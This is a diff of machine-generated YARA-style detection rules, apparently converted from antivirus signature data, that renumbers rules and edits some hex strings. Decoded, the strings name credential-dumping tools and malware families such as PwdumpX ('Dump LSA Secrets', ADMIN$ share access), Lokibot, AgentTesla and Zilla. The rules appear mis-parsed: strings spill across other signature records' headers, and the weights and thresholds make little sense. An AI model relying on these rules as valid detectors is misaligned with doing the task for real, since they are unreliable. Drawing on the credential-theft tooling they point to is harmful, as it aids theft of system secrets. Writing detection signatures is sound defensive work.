@@ rule _InfrastructureShared_10035{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*25409+(#a_00_3 & 1)*92+(#a_72_4 & 1)*22017) >=6 } -rule _InfrastructureShared_10036{ +rule _InfrastructureShared_10683{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 21 " @@ -108650,7 +115777,7 @@ rule _InfrastructureShared_10036{ ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*400+(#a_34_2 & 1)*656) >=7 } -rule _InfrastructureShared_10037{ +rule _InfrastructureShared_10684{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 05 00 21 " @@ -108664,7 +115791,7 @@ rule _InfrastructureShared_10037{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*28524+(#a_49_2 & 1)*19712+(#a_69_3 & 1)*14957+(#a_00_4 & 1)*99) >=7 } -rule _InfrastructureShared_10038{ +rule _InfrastructureShared_10685{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 02 00 21 " @@ -108675,7 +115802,7 @@ rule _InfrastructureShared_10038{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*116) >=8 } -rule _InfrastructureShared_10039{ +rule _InfrastructureShared_10686{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 04 00 21 " @@ -108688,7 +115815,7 @@ rule _InfrastructureShared_10039{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*29545+(#a_04_2 & 1)*-28561+(#a_16_3 & 1)*4362) >=8 } -rule _InfrastructureShared_10040{ +rule _InfrastructureShared_10687{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -108698,45 +115825,33 @@ rule _InfrastructureShared_10040{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_10041{ +rule _InfrastructureShared_10688{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 05 00 21 " strings : $a_63_0 = {54 6f 6f 6c 3a 57 69 6e 33 32 2f 50 77 64 75 6d 70 58 21 64 68 61 00 02 00 07 01 50 57 44 75 6d 70 58 02 00 10 01 44 75 6d 70 20 4c 53 41 20 53 65 63 72 65 74 73 02 00 0b 01 5c 5c 25 73 5c 41 44 4d 49 4e 24 02 00 0d 01 25 73 2e 4f 62 66 75 73 63 61 74 65 64 02 00 2b 01 2d 6c 70 20 4d 79 57 } //18467 $a_6f_1 = {73 4d 61 63 68 69 6e 65 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 70 61 73 73 77 6f 72 64 00 00 78 93 00 00 0c 00 0c 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 69 6c 6c 61 2e 4b 41 41 47 21 4d 54 42 00 03 00 24 01 da df 96 6b 7e 7e 04 72 6d e3 66 08 62 94 c3 39 66 43 74 b5 } //28265 - $a_69_2 = {67 a6 ba ac e3 76 ef cf af 94 ea 04 00 1a 01 12 86 cb 34 2d e4 80 46 2f e0 2d 7b ea 95 1c 76 d5 4a 07 aa fd a2 b7 93 7c b1 05 00 20 01 8c 77 3f b8 df 84 60 07 61 5c 00 65 a4 13 fe 60 d3 7f 40 2d 23 50 12 6e 2c de 23 59 f5 83 41 ae 00 00 78 93 00 00 0d 00 0a 00 04 00 21 23 41 4c 46 3a 50 57 53 3a 57 69 6e 33 32 2f 4c 6f 6b 69 62 6f 74 2e 4d 46 50 21 4d 54 42 00 0a 00 19 00 6a 08 8b c1 5e 8b d0 80 e2 01 f6 da 1b d2 81 e2 20 83 b8 ed d1 e8 33 c2 4e 02 00 14 81 01 75 6e 70 61 63 6b 69 6e 67 20 64 61 74 61 3a 20 25 64 25 25 02 00 21 81 01 43 75 72 72 65 } //-14642 - $a_65_3 = {73 69 6f 6e 5c 55 6e 69 6e 73 74 61 6c 6c 5c 50 69 6e 67 75 69 6e 6f 01 00 0a 81 01 6d 79 73 65 6c 66 2e 64 6c 6c 00 00 78 93 00 00 0d 00 0d 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 44 48 21 4d } //29806 + $a_69_2 = {67 a6 ba ac e3 76 ef cf af 94 ea 04 00 1a 01 12 86 cb 34 2d e4 80 46 2f e0 2d 7b ea 95 1c 76 d5 4a 07 aa fd a2 b7 93 7c b1 05 00 20 01 8c 77 3f b8 df 84 60 07 61 5c 00 65 a4 13 fe 60 d3 7f 40 2d 23 50 12 6e 2c de 23 59 f5 83 41 ae 00 00 78 93 00 00 0d 00 0d 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 44 48 21 4d 54 42 00 0a 00 34 02 25 16 09 a2 25 17 28 90 01 04 a2 25 13 04 14 14 18 8d 90 01 04 25 16 17 9c 25 13 05 17 28 90 01 04 26 11 05 16 91 2d 90 01 01 2b 90 01 01 11 04 16 9a 90 00 01 } //-14642 + $a_01_3 = {47 65 74 50 69 78 65 6c 01 00 0e 80 01 4e 65 77 4c 61 74 65 42 69 6e 64 69 6e 67 01 00 07 80 01 47 65 74 54 79 70 65 00 00 78 93 00 00 0d 00 0d 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 44 4a 21 4d 54 42 00 0a 00 34 02 07 09 11 04 6f 90 01 04 13 05 11 05 28 90 01 04 13 06 08 06 11 06 b4 9c 11 04 17 d6 13 04 11 04 16 31 } //2048 + $a_06_4 = {17 } //400 condition: - ((#a_63_0 & 1)*18467+(#a_6f_1 & 1)*28265+(#a_69_2 & 1)*-14642+(#a_65_3 & 1)*29806) >=10 + ((#a_63_0 & 1)*18467+(#a_6f_1 & 1)*28265+(#a_69_2 & 1)*-14642+(#a_01_3 & 1)*2048+(#a_06_4 & 1)*400) >=10 } -rule _InfrastructureShared_10042{ +rule _InfrastructureShared_10689{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 69 6c 6c 61 2e 4b 41 41 47 21 4d 54 42 00 03 00 24 01 da df 96 6b 7e 7e 04 72 6d e3 66 08 62 94 c3 39 66 43 74 b5 ce c6 b9 69 10 67 a6 ba ac e3 76 ef cf af 94 ea 04 00 } //21539 $a_86_1 = {34 2d e4 80 46 2f e0 2d 7b ea 95 1c 76 d5 4a 07 aa fd } //282 - $a_7c_2 = {05 00 20 01 8c 77 3f b8 df 84 60 07 61 5c 00 65 a4 13 fe 60 d3 7f 40 2d 23 50 12 6e 2c de 23 59 f5 83 41 ae 00 00 78 93 00 00 0d 00 0a 00 04 00 21 23 41 4c 46 3a 50 57 53 3a 57 69 6e 33 32 2f 4c 6f 6b 69 62 6f 74 2e 4d 46 50 21 4d 54 42 00 0a 00 19 00 6a 08 8b c1 5e 8b d0 80 e2 01 f6 da 1b d2 81 e2 20 83 b8 ed d1 e8 33 c2 4e 02 00 14 81 01 75 6e 70 61 63 6b 69 6e 67 20 64 61 74 61 3a 20 25 64 25 25 02 00 21 81 01 43 75 72 72 65 6e 74 56 } //-18526 + $a_7c_2 = {05 00 20 01 8c 77 3f b8 df 84 60 07 61 5c 00 65 a4 13 fe 60 d3 7f 40 2d 23 50 12 6e 2c de 23 59 f5 83 41 ae 00 00 78 93 00 00 0d 00 0d 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 44 48 21 4d 54 42 00 0a 00 34 02 25 16 09 a2 25 17 28 90 01 04 a2 25 13 04 14 14 18 8d 90 01 04 25 16 17 9c 25 13 05 17 28 90 01 04 26 11 05 16 91 2d 90 01 01 2b 90 01 01 11 04 16 9a 90 00 01 00 08 80 } //-18526 condition: ((#a_4c_0 & 1)*21539+(#a_86_1 & 1)*282+(#a_7c_2 & 1)*-18526) >=12 } -rule _InfrastructureShared_10043{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0a 00 04 00 21 " - - strings : - $a_46_0 = {50 57 53 3a 57 69 6e 33 32 2f 4c 6f 6b 69 62 6f 74 2e 4d 46 50 21 4d 54 42 00 0a 00 19 00 6a 08 8b c1 5e 8b d0 80 e2 01 f6 da 1b d2 81 e2 20 83 b8 ed d1 e8 33 c2 4e 02 00 14 81 01 75 6e 70 61 63 6b 69 6e 67 20 64 61 74 61 3a 20 } //16675 - $a_25_1 = {00 21 81 01 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 55 6e 69 6e 73 74 61 6c 6c 5c 50 69 6e 67 75 69 6e 6f } //25637 - $a_81_2 = {6d 79 73 65 6c 66 2e 64 6c 6c } //1 myself.dll - $a_93_3 = {00 0d 00 0d 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 44 48 21 4d 54 42 00 0a 00 34 02 25 16 09 a2 25 17 28 90 01 04 a2 25 13 04 14 14 18 8d 90 01 04 25 16 17 9c 25 13 05 17 28 90 01 04 26 11 05 16 91 2d 90 01 01 2b 90 01 01 11 04 16 9a 90 00 01 00 08 80 01 47 65 74 50 69 78 65 6c 01 00 0e 80 01 } //0 - condition: - ((#a_46_0 & 1)*16675+(#a_25_1 & 1)*25637+(#a_81_2 & 1)*1+(#a_93_3 & 1)*0) >=10 - -} -rule _InfrastructureShared_10044{ +rule _InfrastructureShared_10690{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 21 " @@ -108749,7 +115864,7 @@ rule _InfrastructureShared_10044{ ((#a_54_0 & 1)*18467+(#a_9a_1 & 1)*1041+(#a_65_2 & 1)*24908+(#a_90_3 & 1)*3542) >=13 } -rule _InfrastructureShared_10045{ +rule _InfrastructureShared_10691{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 21 " @@ -108762,7 +115877,7 @@ rule _InfrastructureShared_10045{ ((#a_54_0 & 1)*18467+(#a_31_1 & 1)*400+(#a_74_2 & 1)*18177+(#a_9e_3 & 1)*1798) >=13 } -rule _InfrastructureShared_10046{ +rule _InfrastructureShared_10692{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 21 " @@ -108775,7 +115890,7 @@ rule _InfrastructureShared_10046{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*109+(#a_00_2 & 1)*23130+(#a_43_3 & 1)*29295) >=13 } -rule _InfrastructureShared_10047{ +rule _InfrastructureShared_10693{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 05 00 21 " @@ -108788,7 +115903,7 @@ rule _InfrastructureShared_10047{ ((#a_77_0 & 1)*19491+(#a_61_2 & 1)*25972+(#a_6d_3 & 1)*29254+(#a_00_4 & 1)*58) >=13 } -rule _InfrastructureShared_10048{ +rule _InfrastructureShared_10694{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0c 00 05 00 21 " @@ -108801,7 +115916,7 @@ rule _InfrastructureShared_10048{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*385+(#a_6f_2 & 1)*21562+(#a_00_3 & 1)*112) >=12 } -rule _InfrastructureShared_10049{ +rule _InfrastructureShared_10695{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 04 00 21 " @@ -108813,7 +115928,7 @@ rule _InfrastructureShared_10049{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*29285+(#a_07_3 & 1)*5376) >=14 } -rule _InfrastructureShared_10050{ +rule _InfrastructureShared_10696{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 06 00 21 " @@ -108828,7 +115943,7 @@ rule _InfrastructureShared_10050{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*3330+(#a_40_2 & 1)*0+(#a_46_3 & 1)*16675+(#a_11_4 & 1)*2323+(#a_25_5 & 1)*0) >=14 } -rule _InfrastructureShared_10051{ +rule _InfrastructureShared_10697{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 02 00 21 " @@ -108839,7 +115954,7 @@ rule _InfrastructureShared_10051{ ((#a_46_0 & 1)*16675+(#a_11_1 & 1)*2323) >=15 } -rule _InfrastructureShared_10052{ +rule _InfrastructureShared_10698{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 04 00 21 " @@ -108852,7 +115967,7 @@ rule _InfrastructureShared_10052{ ((#a_6c_0 & 1)*16675+(#a_79_1 & 1)*27760+(#a_1f_2 & 1)*7769+(#a_61_3 & 1)*28530) >=15 } -rule _InfrastructureShared_10053{ +rule _InfrastructureShared_10699{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 04 00 21 " @@ -108865,7 +115980,7 @@ rule _InfrastructureShared_10053{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*2060+(#a_04_2 & 1)*23067+(#a_00_3 & 1)*1) >=16 } -rule _InfrastructureShared_10054{ +rule _InfrastructureShared_10700{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 07 00 21 " @@ -108881,7 +115996,7 @@ rule _InfrastructureShared_10054{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*29793+(#a_6f_2 & 1)*7+(#a_00_3 & 1)*0+(#a_53_4 & 1)*14958+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1) >=16 } -rule _InfrastructureShared_10055{ +rule _InfrastructureShared_10701{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 07 00 21 " @@ -108897,7 +116012,7 @@ rule _InfrastructureShared_10055{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*29300+(#a_6c_2 & 1)*30825+(#a_3a_3 & 1)*21587+(#a_01_4 & 1)*1792+(#a_03_5 & 1)*10+(#a_80_6 & 1)*2) >=16 } -rule _InfrastructureShared_10056{ +rule _InfrastructureShared_10702{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 07 00 21 " @@ -108913,7 +116028,7 @@ rule _InfrastructureShared_10056{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*29300+(#a_01_2 & 1)*28440+(#a_03_3 & 1)*-28632+(#a_90_4 & 1)*4127+(#a_26_5 & 1)*769+(#a_54_6 & 1)*25927) >=16 } -rule _InfrastructureShared_10057{ +rule _InfrastructureShared_10703{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 05 00 21 " @@ -108927,7 +116042,7 @@ rule _InfrastructureShared_10057{ ((#a_54_0 & 1)*18467+(#a_80_1 & 1)*2+(#a_80_2 & 1)*2+(#a_80_3 & 1)*2+(#a_80_4 & 1)*2) >=18 } -rule _InfrastructureShared_10058{ +rule _InfrastructureShared_10704{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1a 00 1a 00 05 00 21 " @@ -108941,7 +116056,7 @@ rule _InfrastructureShared_10058{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*400+(#a_28_2 & 1)*769+(#a_90_3 & 1)*1539+(#a_93_4 & 1)*0) >=26 } -rule _InfrastructureShared_10059{ +rule _InfrastructureShared_10705{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffc8 00 ffffffc8 00 02 00 21 " @@ -108952,7 +116067,7 @@ rule _InfrastructureShared_10059{ ((#a_5f_0 & 1)*25635+(#a_00_1 & 1)*117) >=200 } -rule _InfrastructureShared_10060{ +rule _InfrastructureShared_10706{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -108962,7 +116077,7 @@ rule _InfrastructureShared_10060{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_10061{ +rule _InfrastructureShared_10707{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -108972,7 +116087,7 @@ rule _InfrastructureShared_10061{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_10062{ +rule _InfrastructureShared_10708{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -108982,7 +116097,7 @@ rule _InfrastructureShared_10062{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10063{ +rule _InfrastructureShared_10709{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -108992,7 +116107,7 @@ rule _InfrastructureShared_10063{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10064{ +rule _InfrastructureShared_10710{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -109002,7 +116117,7 @@ rule _InfrastructureShared_10064{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10065{ +rule _InfrastructureShared_10711{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -109012,7 +116127,7 @@ rule _InfrastructureShared_10065{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10066{ +rule _InfrastructureShared_10712{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -109022,7 +116137,7 @@ rule _InfrastructureShared_10066{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10067{ +rule _InfrastructureShared_10713{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -109032,7 +116147,7 @@ rule _InfrastructureShared_10067{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10068{ +rule _InfrastructureShared_10714{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -109042,7 +116157,7 @@ rule _InfrastructureShared_10068{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10069{ +rule _InfrastructureShared_10715{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -109052,7 +116167,7 @@ rule _InfrastructureShared_10069{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_10070{ +rule _InfrastructureShared_10716{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -109062,7 +116177,7 @@ rule _InfrastructureShared_10070{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_10071{ +rule _InfrastructureShared_10717{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -109072,7 +116187,7 @@ rule _InfrastructureShared_10071{ ((#a_6f_0 & 1)*21539) >=1 } -rule _InfrastructureShared_10072{ +rule _InfrastructureShared_10718{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -109083,7 +116198,7 @@ rule _InfrastructureShared_10072{ ((#a_46_0 & 1)*16675+(#a_39_1 & 1)*13624) >=1 } -rule _InfrastructureShared_10073{ +rule _InfrastructureShared_10719{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -109093,7 +116208,7 @@ rule _InfrastructureShared_10073{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_10074{ +rule _InfrastructureShared_10720{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -109105,7 +116220,7 @@ rule _InfrastructureShared_10074{ ((#a_46_0 & 1)*16675+(#a_0d_1 & 1)*8192+(#a_00_2 & 1)*10) >=1 } -rule _InfrastructureShared_10075{ +rule _InfrastructureShared_10721{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -109117,7 +116232,7 @@ rule _InfrastructureShared_10075{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-31473+(#a_90_2 & 1)*-14591) >=1 } -rule _InfrastructureShared_10076{ +rule _InfrastructureShared_10722{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -109129,7 +116244,7 @@ rule _InfrastructureShared_10076{ ((#a_54_0 & 1)*18467+(#a_90_2 & 1)*-30392+(#a_5f_3 & 1)*29537) >=1 } -rule _InfrastructureShared_10077{ +rule _InfrastructureShared_10723{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -109140,7 +116255,7 @@ rule _InfrastructureShared_10077{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*17978) >=2 } -rule _InfrastructureShared_10078{ +rule _InfrastructureShared_10724{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -109151,7 +116266,7 @@ rule _InfrastructureShared_10078{ ((#a_54_0 & 1)*18467+(#a_06_1 & 1)*22551) >=2 } -rule _InfrastructureShared_10079{ +rule _InfrastructureShared_10725{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -109162,7 +116277,7 @@ rule _InfrastructureShared_10079{ ((#a_54_0 & 1)*18467+(#a_11_1 & 1)*4607) >=2 } -rule _InfrastructureShared_10080{ +rule _InfrastructureShared_10726{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -109172,7 +116287,7 @@ rule _InfrastructureShared_10080{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_10081{ +rule _InfrastructureShared_10727{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -109183,7 +116298,7 @@ rule _InfrastructureShared_10081{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*27022) >=2 } -rule _InfrastructureShared_10082{ +rule _InfrastructureShared_10728{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -109195,7 +116310,7 @@ rule _InfrastructureShared_10082{ ((#a_54_0 & 1)*18467+(#a_c7_1 & 1)*-4+(#a_64_2 & 1)*26967) >=2 } -rule _InfrastructureShared_10083{ +rule _InfrastructureShared_10729{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " @@ -109206,7 +116321,7 @@ rule _InfrastructureShared_10083{ ((#a_46_0 & 1)*16675+(#a_24_1 & 1)*-30392) >=3 } -rule _InfrastructureShared_10084{ +rule _InfrastructureShared_10730{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -109218,7 +116333,7 @@ rule _InfrastructureShared_10084{ ((#a_46_0 & 1)*16675+(#a_31_1 & 1)*18991+(#a_6f_2 & 1)*20538) >=3 } -rule _InfrastructureShared_10085{ +rule _InfrastructureShared_10731{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -109230,7 +116345,7 @@ rule _InfrastructureShared_10085{ ((#a_6c_0 & 1)*16675+(#a_70_1 & 1)*8293+(#a_00_2 & 1)*107) >=3 } -rule _InfrastructureShared_10086{ +rule _InfrastructureShared_10732{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -109241,7 +116356,7 @@ rule _InfrastructureShared_10086{ ((#a_54_0 & 1)*18467+(#a_49_1 & 1)*12288) >=3 } -rule _InfrastructureShared_10087{ +rule _InfrastructureShared_10733{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -109253,7 +116368,7 @@ rule _InfrastructureShared_10087{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*29810+(#a_18_2 & 1)*1543) >=3 } -rule _InfrastructureShared_10088{ +rule _InfrastructureShared_10734{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -109265,7 +116380,7 @@ rule _InfrastructureShared_10088{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*29230+(#a_46_2 & 1)*25441) >=3 } -rule _InfrastructureShared_10089{ +rule _InfrastructureShared_10735{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -109276,7 +116391,7 @@ rule _InfrastructureShared_10089{ ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*13367) >=3 } -rule _InfrastructureShared_10090{ +rule _InfrastructureShared_10736{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -109287,7 +116402,7 @@ rule _InfrastructureShared_10090{ ((#a_54_0 & 1)*19747+(#a_2d_1 & 1)*25652) >=3 } -rule _InfrastructureShared_10091{ +rule _InfrastructureShared_10737{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -109299,7 +116414,7 @@ rule _InfrastructureShared_10091{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*4096+(#a_54_2 & 1)*27986) >=3 } -rule _InfrastructureShared_10092{ +rule _InfrastructureShared_10738{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -109311,7 +116426,7 @@ rule _InfrastructureShared_10092{ ((#a_4c_0 & 1)*21539+(#a_4c_1 & 1)*30539+(#a_01_2 & 1)*-29375) >=3 } -rule _InfrastructureShared_10093{ +rule _InfrastructureShared_10739{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -109323,7 +116438,7 @@ rule _InfrastructureShared_10093{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*37+(#a_01_2 & 1)*6144) >=3 } -rule _InfrastructureShared_10094{ +rule _InfrastructureShared_10740{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -109336,7 +116451,7 @@ rule _InfrastructureShared_10094{ ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*25345+(#a_31_2 & 1)*13625+(#a_61_3 & 1)*384) >=3 } -rule _InfrastructureShared_10095{ +rule _InfrastructureShared_10741{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -109350,7 +116465,7 @@ rule _InfrastructureShared_10095{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*29555+(#a_70_2 & 1)*384+(#a_7d_3 & 1)*28484+(#a_53_4 & 1)*14973) >=3 } -rule _InfrastructureShared_10096{ +rule _InfrastructureShared_10742{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -109363,7 +116478,7 @@ rule _InfrastructureShared_10096{ ((#a_54_0 & 1)*18467+(#a_25_1 & 1)*20564+(#a_00_3 & 1)*0+(#a_50_4 & 1)*8448) >=3 } -rule _InfrastructureShared_10097{ +rule _InfrastructureShared_10743{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -109376,7 +116491,7 @@ rule _InfrastructureShared_10097{ ((#a_41_0 & 1)*20515+(#a_62_1 & 1)*29285+(#a_3a_2 & 1)*-32756+(#a_69_3 & 1)*28271) >=3 } -rule _InfrastructureShared_10098{ +rule _InfrastructureShared_10744{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -109390,7 +116505,7 @@ rule _InfrastructureShared_10098{ ((#a_46_0 & 1)*21283+(#a_62_1 & 1)*11818+(#a_01_2 & 1)*28265+(#a_52_3 & 1)*21320+(#a_2d_4 & 1)*8508) >=3 } -rule _InfrastructureShared_10099{ +rule _InfrastructureShared_10745{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -109404,7 +116519,7 @@ rule _InfrastructureShared_10099{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*28777+(#a_2d_2 & 1)*15363+(#a_3c_4 & 1)*4608+(#a_2e_5 & 1)*656) >=3 } -rule _InfrastructureShared_10100{ +rule _InfrastructureShared_10746{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -109412,25 +116527,37 @@ rule _InfrastructureShared_10100{ $a_46_0 = {48 53 54 52 3a 